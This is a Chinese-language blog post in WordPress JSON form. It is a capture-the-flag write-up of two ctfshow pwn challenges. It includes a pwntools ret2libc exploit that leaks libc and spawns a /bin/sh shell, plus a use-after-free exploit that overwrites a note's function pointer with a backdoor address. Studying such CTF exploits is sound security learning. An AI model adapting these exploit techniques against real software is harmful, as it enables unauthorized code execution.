{"id":342,"date":"2025-08-04T15:57:36","date_gmt":"2025-08-04T07:57:36","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=342"},"modified":"2025-08-04T15:57:38","modified_gmt":"2025-08-04T07:57:38","slug":"ctfshowpwn85%e9%ab%98%e7%ba%a7rop-64-%e4%bd%8d-partial-relro%e3%80%81pwn141","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/08\/04\/ctfshowpwn85%e9%ab%98%e7%ba%a7rop-64-%e4%bd%8d-partial-relro%e3%80%81pwn141\/","title":{"rendered":"ctfshow:pwn85(\u9ad8\u7ea7ROP 64 \u4f4d Partial-RELRO)\u3001pwn141"},"content":{"rendered":"\n

1\u3001pwn85\u5206\u6790<\/h2>\n\n\n\n

\u6765ctfshow\u5b66\u70b9\u65b0\u4e1c\u897f<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

64\u4f4dpartial relro\u5f00\u4e86NX,\u8fd0\u884c\u6709\u4e00\u4e2a\u8f93\u5165<\/p>\n\n\n\n

\u4f46\u662f\u6211\u4e0d\u592a\u4f1awp\u4e2d\u7684\u65b9\u6cd5\uff0c\u60f3\u8bd5\u8bd5\u80fd\u4e0d\u80fd\u6cc4\u9732libc,\u80fd\u7684\u8bdd\u5c31\u53ef\u4ee5\u7b80\u5355\u7684ret2libc<\/p>\n\n\n\n

from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"pwn.challenge.ctf.show\",28129)\nelf=ELF(\".\/pwn85\")\n\nwrite_plt=elf.plt['write']\nwrite_got=elf.got['write']\nshow=elf.sym['show']\nrdi=0x4007a3\nrsir15=0x4007a1\npayload=b'a'*(0x70+8)+p64(rdi)+p64(1)+p64(rsir15)+p64(write_got)+p64(4)+p64(write_plt)+p64(show)\np.recvuntil(\"Welcome to CTFshowPWN!\\n\")\np.sendline(payload)\nwrite=u64(p.recv(6).ljust(8,b'\\x00'))\nprint(hex(write))\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u67e5\u4e00\u4e0b\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u90092.27\u7684\u4e0b\u8f7d\u4ee5\u540e\u5c31\u76f4\u63a5\u4e1d\u6ed1\u64cd\u4f5c\u4e86<\/p>\n\n\n\n
2\u3001pwn85\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"pwn.challenge.ctf.show\",28129)\nelf=ELF(\".\/pwn85\")\n\nwrite_plt=elf.plt['write']\nwrite_got=elf.got['write']\nshow=elf.sym['show']\nrdi=0x4007a3\nrsir15=0x4007a1\npayload=b'a'*(0x70+8)+p64(rdi)+p64(1)+p64(rsir15)+p64(write_got)+p64(4)+p64(write_plt)+p64(show)\np.recvuntil(\"Welcome to CTFshowPWN!\\n\")\np.sendline(payload)\nwrite=u64(p.recv(6).ljust(8,b'\\x00'))\nprint(hex(write))\n\nlibc=ELF(\".\/libc6_2.27-3ubuntu1.6_amd64.so\")\nbase=write-libc.sym['write']\nsys=base+libc.sym['system']\nbinsh=base+next(libc.search(b'\/bin\/sh'))\npayload=b'a'*(0x70+8)+p64(rdi)+p64(binsh)+p64(sys)\np.sendline(payload)\np.interactive()<\/code><\/pre>\n\n\n\n

\u53ef\u4ee5\u51fa<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
3\u3001pwn141\u5206\u6790\uff08\u4f7f\u7528\u5df2\u91ca\u653e\u7684\u5185\u5b58\uff09<\/h2>\n\n\n\n
\u7ee7\u7eed\u5b66\u70b9\u5806\u524d\u7f6e<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
32\u4f4d<\/p>\n\n\n\n
main:<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
v3=1<\/p>\n\n\n\n
add_note<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

v3=2<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u91cc\u9762\u5c31\u4f1a\u91ca\u653e\u5806<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
v3=3<\/p>\n\n\n\n
print_note<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u540e\u95e8\u51fd\u6570\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u9053\u9898\u7684\u6f0f\u6d1e\u662f\u91ca\u653e\u7a7a\u95f4\u6ca1\u6709\u628a\u6307\u9488\u6e05\u7a7a\uff0c\u6240\u4ee5\u53ef\u4ee5\u7ee7\u7eed\u4f7f\u7528<\/p>\n\n\n\n
\u6ce8\u610f *notelist[i] = print_note_content<\/p>\n\n\n\n
notelist[i]\u5b58\u653e\u7684\u662fprint_note_content\u51fd\u6570\u6253\u5370\u7684\u6bcf\u4e2achunk\u7684\u5185\u5bb9<\/p>\n\n\n\n
\u800c\u4e14print_note\u51fd\u6570\u5c31\u662f\u8c03\u7528\u7684print_note_content<\/p>\n\n\n\n
\u5982\u679c\u6211\u4eec\u6539\u5199\u5176\u4e2d\u5b58\u653e\u7684\u5185\u5bb9\u4e3a\u540e\u95e8\u51fd\u6570\u662f\u4e0d\u662f\u5c31\u53ef\u4ee5\u5229\u7528\u4e86<\/p>\n\n\n\n
\u5199\u4e2a\u811a\u672c\u8c03\u8bd5\u4e00\u4e0b<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=process(\".\/pwn141\")\n\np.recvuntil(\"choice :\")\np.sendline(b'1')\np.recvuntil(\"Note size :\")\np.sendline(b'16')\np.recvuntil(\"Content :\")\np.sendline(b'aaaa')\ngdb.attach(p)\np.interactive()\n<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u7b2c\u4e8c\u4e2a\u5e94\u8be5\u5c31\u662f\u6211\u4eec\u5199\u5165\u7684\u5185\u5bb9\u7684\u5730\u65b9\uff0c\u6211\u4eec\u770b\u4e00\u4e0b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u679c\u7136<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6bcf\u6b21\u7533\u8bf7\u90fd\u4f1a\u7533\u8bf7\u4e00\u4e2aprint_note_content\u7a7a\u95f4\uff0c\u90a3\u6211\u4eec\u9700\u8981\u5229\u7528uaf\uff0c\u7533\u8bf7\u4e24\u4e2a\u7a7a\u95f4\uff0c\u5148\u8ddf\u7740\u5927\u4f6c\u7684\u6587\u7ae0\u4f53\u9a8c\u4e00\u4e0b\u5427<\/p>\n\n\n\n
4\u3001pwn141\u4f53\u9a8c<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"pwn.challenge.ctf.show\",28273)\n\nuse=0x8049684\n\ndef allocate(size,content):\n    p.sendlineafter(\"choice :\",b'1')\n    p.sendlineafter(\"Note size :\",str(size))\n    p.sendlineafter(\"Content :\",content)\ndef free(index):\n    p.sendlineafter(\"choice :\",\"2\")\n    p.sendlineafter(\"Index :\",str(index))\ndef printf(index):\n    p.sendlineafter(b\"choice :\",b\"3\")\n    p.sendlineafter(b\"Index :\",str(index))\n\nallocate(0x10,\"aaaa\")\nallocate(0x10,\"cccc\")\n\nfree(0)\nfree(1)\n\nallocate(8,p32(use))\nprintf(0)\np.recv()\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

ok,\u4eca\u5929\u5c31\u5b66\u5230\u8fd9\u513f\u5427……<\/p>\n","protected":false},"excerpt":{"rendered":"
1\u3001pwn85\u5206\u6790 \u6765ctfshow\u5b66\u70b9\u65b0\u4e1c\u897f 64\u4f4dpartial relro\u5f00\u4e86NX,\u8fd0\u884c\u6709\u4e00\u4e2a\u8f93\u5165 \u4f46\u662f […]<\/p>\n","protected":false},"author":1,"featured_media":360,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-342","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/342","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=342"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/342\/revisions"}],"predecessor-version":[{"id":361,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/342\/revisions\/361"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/360"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=342"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=342"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=342"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}